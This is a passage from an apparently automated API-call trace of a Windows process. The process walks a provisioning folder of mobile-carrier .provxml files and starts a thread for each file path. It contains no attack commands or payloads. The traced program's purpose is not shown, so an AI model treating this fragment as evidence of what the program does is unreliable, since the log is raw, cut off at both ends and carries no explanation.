Fiji (Fiji)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x33f8918 [0084.767] wcscpy (in: _Dest=0x33f8918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.767] wcscat (in: _Dest=0x33f8918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.767] wcscat (in: _Dest=0x33f8918, _Source="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" [0084.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0084.768] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="124__C~1.PRO")) returned 1 [0084.768] wcscmp (_String1="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0084.768] wcscmp (_String1="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0084.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x34954b8 [0084.768] wcscpy (in: _Dest=0x34954b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.768] wcscat (in: _Dest=0x34954b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.768] wcscat (in: _Dest=0x34954b8, _Source="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0084.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34954b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0084.769] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="125__C~1.PRO")) returned 1 [0084.769] wcscmp (_String1="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.769] wcscmp (_String1="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x162) returned 0x34955e8 [0084.769] wcscpy (in: _Dest=0x34955e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.769] wcscat (in: _Dest=0x34955e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.769] wcscat (in: _Dest=0x34955e8, _Source="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" [0084.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34955e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0084.770] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="126__C~1.PRO")) returned 1 [0084.770] wcscmp (_String1="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.770] wcscmp (_String1="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x162) returned 0x3495758 [0084.770] wcscpy (in: _Dest=0x3495758, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.770] wcscat (in: _Dest=0x3495758, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.770] wcscat (in: _Dest=0x3495758, _Source="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" [0084.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3495758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350 [0084.771] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="127__C~1.PRO")) returned 1 [0084.771] wcscmp (_String1="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.771] wcscmp (_String1="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13c) returned 0x34958c8 [0084.771] wcscpy (in: _Dest=0x34958c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.771] wcscat (in: _Dest=0x34958c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.771] wcscat (in: _Dest=0x34958c8, _Source="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" [0084.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34958c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0084.772] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="128__C~1.PRO")) returned 1 [0084.772] wcscmp (_String1="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0084.772] wcscmp (_String1="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0084.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x3495a10 [0084.772] wcscpy (in: _Dest=0x3495a10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.772] wcscat (in: _Dest=0x3495a10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.772] wcscat (in: _Dest=0x3495a10, _Source="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0084.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3495a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930 [0084.772] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="129__C~1.PRO")) returned 1 [0084.772] wcscmp (_String1="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.773] wcscmp (_String1="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.773] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3495b40 [0084.773] wcscpy (in: _Dest=0x3495b40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.773] wcscat (in: _Dest=0x3495b40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.773] wcscat (in: _Dest=0x3495b40, _Source="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" [0084.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3495b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0084.773] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", cAlternateFileName="12__CO~1.PRO")) returned 1 [0084.773] wcscmp (_String1="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.773] wcscmp (_String1="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.773] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x3495c88 [0084.773] wcscpy (in: _Dest=0x3495c88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.774] wcscat (in: _Dest=0x3495c88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.774] wcscat (in: _Dest=0x3495c88, _Source="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" [0084.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3495c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0084.774] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="130__C~1.PRO")) returned 1 [0085.390] wcscmp (_String1="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0085.390] wcscmp (_String1="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0085.390] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x3496088 [0085.390] wcscpy (in: _Dest=0x3496088, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.390] wcscat (in: _Dest=0x3496088, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.390] wcscat (in: _Dest=0x3496088, _Source="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0085.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3496088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0085.755] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29d, dwReserved0=0x0, dwReserved1=0x0, cFileName="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="131__C~1.PRO")) returned 1 [0085.755] wcscmp (_String1="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.755] wcscmp (_String1="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.755] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x160) returned 0x347c018 [0085.755] wcscpy (in: _Dest=0x347c018, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.755] wcscat (in: _Dest=0x347c018, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.755] wcscat (in: _Dest=0x347c018, _Source="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" [0085.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0085.756] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="132__C~1.PRO")) returned 1 [0085.756] wcscmp (_String1="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.756] wcscmp (_String1="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.756] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x160) returned 0x347c720 [0085.756] wcscpy (in: _Dest=0x347c720, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.756] wcscat (in: _Dest=0x347c720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.756] wcscat (in: _Dest=0x347c720, _Source="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" [0085.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0085.757] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x0, dwReserved1=0x0, cFileName="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", 